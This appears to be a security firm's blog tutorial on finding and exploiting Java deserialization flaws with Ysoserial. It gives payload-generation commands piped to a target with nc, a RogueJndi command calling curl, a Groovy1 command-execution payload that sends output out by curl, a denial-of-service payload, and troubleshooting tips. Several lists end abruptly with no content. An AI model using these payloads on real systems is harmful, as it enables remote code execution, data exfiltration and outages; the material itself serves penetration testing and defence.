Testing and exploiting Java Deserialization in 2021

TLDR

· During whitebox analysis look for readObject() which is potential sink for deserialization vunlerabilities. Also, you might want to test the exemplary vulnerable TCP server. Don’t forget to add required dependencies to its classpath. For testing Ysoserial payloads, you might add the ysoserial.jar itself as a dependency, as described in README.

1. What is deserialization — quick review

Serialization (and a reverse process — deserialization) is simply a feature of Java (and many other languages) which allow objects to be converted to a special, binary form, in which they can be transported and stored. Later, they can be recreated (deserialized) in original form any another Java Virtual Machine (so the Java Environment is involved into serializing and deserializing data), regardless it’s just another process or completely different physical machine.

2. Root cause of deserialization vulnerability

In order to re-create an object from its deserialized state, Java provides special function (or rather a set of functions), which has to be used on a deserialized object in order to be able to deserialize it which means, create an instance of that object on deserializing end. We’ll consider just ObjectInputStream.readObject() not to dive to deeply, but just keep in mind that this is not the only deserialization sink existing.

3. Speaking and understanding serialization protocol

In order to be able to serialize and then de-serialize an object, some conditions have to be met:

4. Testing with Ysoserial

As mentioned earlier, Ysoserial is a tool for exploiting java deserialization vunlerabilities. It consists of modules named payloads. Each payload generates a serialized object which once instantiated, invokes some kind of action.

4.1 FileUpload, Wicket1

These are similar to each other. Serialized object relies on DiskFileItem class, which results in creating a file on remote OS. If you look at source code of e.g. FileUpload1, you’ll find the usage code’s comments. If remote classpath contains FileUpload / Wicket dependencies and is vulnerable to insecure deserialization, you can use following command to generate ysoserial’s payload:

java -jar ysoserial.jar FileUpload1 “write;/tmp;CONTENTSOFTHEFILE”

4.2 RMI-related payloads

There are two ysoserial payloads dedicated to exploitation of RMI Registries. However, after JEP290 remote exploitation of RMI Registries is a lot more difficult.

java -cp ysoserial.exploit.JRMPListener <port> <payload_type> <payload_arguments>
java -jar /root/Tools/ysoserial.jar JRMPClient 127.0.0.1:80
java -jar ysoserial.jar JRMPListener 1199

4.3 Object Lookup payloads

Object Lookup is a Java feature related to Java Naming and Directory Interface. In short, it allows for retrieving (“looking up”) remote Objects from various sources. These sources can be LDAP directories, RMI Servers or HTTP Servers. Usually, this feature is abused against vulnerability class JNDI Injection, which you can read more about here and here.

java -jar ysoserial.jar C3P0 “http://127.0.0.1:9999/:SSRF" | nc -v 127.0.0.1 12345
java -jar ysoserial.jar C3P0 “http://127.0.0.1:8000/:xExportObject" | nc -v 127.0.0.1 12345
java -jar RogueJndi-1.1.jar -c “curl http://127.0.0.1:9999/rce"

4.4 URLDNS Payload

A very powerful payload in terms of blind testing. DNS Lookup is a feature of Java when handling serialized URL object crafted in a specific way. It’s powerful because that payload also does not require any additional libraries to work. Use it as

java -jar /root/Tools/ysoserial.jar URLDNS “http://12345.burpcollaborator.net

4.5 Jython and Myfaces

I was not able to get them working during my tests. However, Jython payload is supposed to work in a similar manner as FileUpload, with a difference — it also runs the uploaded script.

4.6 RCE Payloads

All other payloads, listed below, are designed for direct Code Execution. Note, that on modern Java you will have trouble running CommonsCollections 1–4 included due to hardening of JDK classes. If you have access to stack traces this can be confirmed if an error “missing element entrySet” is found.

4.7 DoS payloads

Native JDK DoS PoC relies on a recursive HashSet. You can find the original one here, I just changed it a bit so it generates a serialized payload instead of deserializing itself instantly. You can download modified version of this payload here. The serialized payload, when sent to vulnerable TCP Server, causes resource consumption to spike. We generate the dos payload:

javac SerialDOS.java && java SerialDOScat dos.ser | nc -v 127.0.0.1 12345

4.8 Other public exploits & payloads

interesting Exploits and Ysoserial forks that contain additional payloads

5. Troubleshooting

There are numerous things that might go wrong when exploiting serialization flaws. For successful serialization and deserialization, there are following requirements:

5.1 ClassNotFound Exception

This means that a class (its name will be listed in the stack trace) is not on the target classpath. This might mean that the target classpath is patched, e.g. even if there are vulnerable libraries on it, they might have the gadget classes cut off. However, if during a penetration test you are able to obtain information on which classes are on the classpath, you can try to enumerate them. A tool named GadgetProbe might be helpful in that case.

5.2 SerialUID Mismatch / InvalidClassException

SerialUID is an unique class identifier which helps JVM to ensure integrity of serialized object’s version. Quoting Java docs: “The serialization runtime associates with each serializable class a version number, called a serialVersionUID, which is used during deserialization to verify that the sender and receiver of a serialized object have loaded classes for that object that are compatible with respect to serialization. If the receiver has loaded a class for the object that has a different serialVersionUID than that of the corresponding sender’s class, then deserialization will result in an InvalidClassException. A serializable class can declare its own serialVersionUID explicitly by declaring a field named serialVersionUID that must be static, final, and of type long”

5.3 Filter status REJECTED

Message “filter status REJECTED” present in the stack trace means that application employs serialization filtering, which in turn means that it can be hardened. Serialization filters are one of recommended ways to deal with unsafe deserialization, and they restrict which types of data can be instantiated during deserialization and which cannot.

5.4 java.io.IOException: Cannot run program “xyz”

This means that your payload is working but the program to be executed was not found. This can be due to missing binary or OS mismatch (e.g. you try to run notepad.exe on Linux)

5.5 Shell commands not working

When constructing a command to be executed by ysoserial’s payload on Linux, you need to be aware that piping and output redirectors will not work. Also, if there are spaces in arguments to main commands arguments (like sh -c “python -c \”import pty…\””)

java -jar /root/Tools/ysoserial.jar Groovy1 ‘sh -c $@|sh . echo id | curl http://localhost:1234'

5.6 Anticipating Java version without any evidence

It is likely that Java version on target machine is up to date. Also, even if it’s not latest version, the JEP290 patch which targets serialization works also with older versions (at least JDK 1.7u21 or newer). But keep in mind, that many Java applications are often a large appliances that have many dependencies. There is high likelihood of not updating them by their owners as they are afraid of breaking them. If an application is a virtual appliance (shipped with underlying OS), then there is a likelihood that the Java version is still the same as when it was released.

6. Countermeasures

First and most important: do not deserialize arbitrary data. If you are already doing it in your application, you can do the following

7. References:

https://github.com/NickstaDB/SerializationDumper

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
AFINE

AFINE

64 Followers

If you’re looking for the good guys who are ready and able to hack you, need look no further. We professionally find vulnerabilities before the bad guys do.